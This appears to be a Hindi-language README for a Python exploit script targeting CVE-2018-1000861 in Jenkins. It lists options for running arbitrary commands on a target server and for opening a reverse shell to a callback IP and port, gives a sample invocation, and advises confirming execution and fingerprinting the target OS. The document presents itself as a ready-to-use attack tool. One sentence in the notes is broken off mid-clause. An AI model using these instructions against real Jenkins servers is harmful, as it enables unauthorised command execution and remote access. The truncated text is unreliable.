CVE-2018-1000861

CVE-2018-1000861 का शोषण करने के लिए सरल स्क्रिप्ट, Python 3 में लिखी गई

उपयोग:

usage: exploit.py [-h] -u URL [-c CMD] [-r] [-i IP] [-p PORT] [-v]

options:
  -h, --help            show this help message and exit
  -u URL, --url URL     Target Jenkins server
  -c CMD, --cmd CMD     Command to execute
  -r, --revshell        Execute reverse shell
  -i IP, --ip IP        IP address for reverse shell callback
  -p PORT, --port PORT  Port for reverse shell callback
  -v, --verbose         Verbose output

उदाहरण:

python exploit.py -u http://192.168.1.20 -c 'ping 192.168.1.10'

नोट्स:

• यह उपकरण यह सत्यापित करने का प्रयास नहीं करता कि लक्ष्य असुरक्षित है। यह केवल एक शेल कमांड को Java क्लास में डालता है।
• निष्पादित शेल कमांड आउटपुट वापस नहीं लौटाएंगे। आपके पास या तो कमांड के निष्पादन को सत्यापित करने का कोई तरीका (जैसे ping + tcpdump) होना चाहिए या रिवर्स शेल का उपयोग करना चाहिए।
• यह भेद्यता Jenkins के Linux और Windows दोनों इंस्टॉल को प्रभावित करती है जहां . आपको निष्पादित करने से पहले लक्ष्य OS को सत्यापित करने का प्रयास करना चाहिए (जैसे ICMP TTL या उपलब्ध सेवाओं के माध्यम से)।